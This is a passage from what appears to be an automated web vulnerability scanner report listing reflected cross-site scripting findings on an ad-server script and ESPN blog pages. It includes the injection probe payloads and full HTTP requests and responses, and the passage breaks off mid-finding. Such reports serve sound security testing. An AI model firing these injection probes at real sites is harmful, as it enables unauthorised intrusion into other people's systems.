Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1567
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:51 GMT
Date: Sat, 26 Feb 2011 01:49:51 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=20344e74';34f7324748b%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top">
...[SNIP]...

1.110. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 11]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a862'%3bf3353a7f709 was submitted in the REST URL parameter 11. This input was echoed as 3a862';f3353a7f709 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/95423a862'%3bf3353a7f709//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1567
Cache-Control: max-age=2591963
Expires: Mon, 28 Mar 2011 01:49:17 GMT
Date: Sat, 26 Feb 2011 01:49:54 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=95423a862';f3353a7f709%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top">
...[SNIP]...

1.111. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3cb8a'%3b33ba26914f6 was submitted in the REST URL parameter 4. This input was echoed as 3cb8a';33ba26914f6 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/23053cb8a'%3b33ba26914f6/0/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1567
Cache-Control: max-age=2591963
Expires: Mon, 28 Mar 2011 01:48:54 GMT
Date: Sat, 26 Feb 2011 01:49:31 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=23053cb8a';33ba26914f6%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top">
...[SNIP]...

1.112. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13ac3'%3be8a5b3462de was submitted in the REST URL parameter 5. This input was echoed as 13ac3';e8a5b3462de in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/2305/013ac3'%3be8a5b3462de/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1567
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:35 GMT
Date: Sat, 26 Feb 2011 01:49:35 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=013ac3';e8a5b3462de,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top">
...[SNIP]...

1.113. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53bb2'%3b1831e25c1a7 was submitted in the REST URL parameter 6. This input was echoed as 53bb2';1831e25c1a7 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/2305/0/053bb2'%3b1831e25c1a7/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1567
Cache-Control: max-age=2591979
Expires: Mon, 28 Mar 2011 01:49:17 GMT
Date: Sat, 26 Feb 2011 01:49:38 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,053bb2';1831e25c1a7%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top">
...[SNIP]...

1.114. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 553df'%3b09d71b838b7 was submitted in the REST URL parameter 7. This input was echoed as 553df';09d71b838b7 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/2305/0/0/203687985553df'%3b09d71b838b7/203687985//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1585
Cache-Control: max-age=2591987
Expires: Mon, 28 Mar 2011 01:49:28 GMT
Date: Sat, 26 Feb 2011 01:49:41 GMT
Connection: close


var zzADS_CHAN = '203687985553df';09d71b838b7';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;

...[SNIP]...

1.115. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9f3d6'%3bcc30eb8bed2 was submitted in the REST URL parameter 8. This input was echoed as 9f3d6';cc30eb8bed2 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/2305/0/0/203687985/2036879859f3d6'%3bcc30eb8bed2//0/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1567
Cache-Control: max-age=2591986
Expires: Mon, 28 Mar 2011 01:49:30 GMT
Date: Sat, 26 Feb 2011 01:49:44 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,2036879859f3d6';cc30eb8bed2%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top">
...[SNIP]...

1.116. http://e2.cdn.qnsr.com//cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/9542//3000007/i.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d59e1'%3ba8fb555b141 was submitted in the REST URL parameter 9. This input was echoed as d59e1';a8fb555b141 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20144456/2305/0/0/203687985/203687985//0d59e1'%3ba8fb555b141/203/9542//3000007/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1567
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:47 GMT
Date: Sat, 26 Feb 2011 01:49:47 GMT
Connection: close


var zzADS_CHAN = '203687985';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0d59e1';a8fb555b141%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top">
...[SNIP]...

1.117. http://espn.go.com/blog/new-york/hockey/category/_/name/new-jersey-devils [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://espn.go.com
Path:   /blog/new-york/hockey/category/_/name/new-jersey-devils

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6803a"><a>7c711d6e0b5 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /blog/new-york/hockey/category/_/name/new-jersey-devils6803a"><a>7c711d6e0b5 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:20:38 GMT
Content-Type: text/html;charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:20:38 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN09
Cache-Expires: Wed, 23 Feb 2011 23:25:38 GMT
InvH: blog-new-yorkhockey
Content-Length: 33353
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Hockey Blog - ESPN
...[SNIP]...
<link rel="canonical" href="http://espn.go.com/blog/new-york/hockey/category/_/name/new-jersey-devils6803a"><a>7c711d6e0b5" />
...[SNIP]...

1.118. http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-islanders [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://espn.go.com
Path:   /blog/new-york/hockey/category/_/name/new-york-islanders

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5588e"><a>6fa37241377 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /blog/new-york/hockey/category/_/name/new-york-islanders5588e"><a>6fa37241377 HTTP/1.1
Host: espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:20:38 GMT
Content-Type: text/html;charset=iso-8859-1
Last-Modified: Wed, 23 Feb 2011 23:20:38 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: ESPN06
Cache-Expires: Wed, 23 Feb 2011 23:25:38 GMT
InvH: blog-new-yorkhockey
Content-Length: 33307
Connection: close
X-UA-Compatible: IE=EmulateIE7
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Hockey Blog - ESPN
...[SNIP]...
<link rel="canonical" href="http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-islanders5588e"><a>6fa37241377" />
...[SNIP]...

1.119. http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-rangers [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://espn.go.com
Path:   /blog/new-york/hockey/category/_/name/new-york-rangers

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c495"><a>c35cbec8142 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

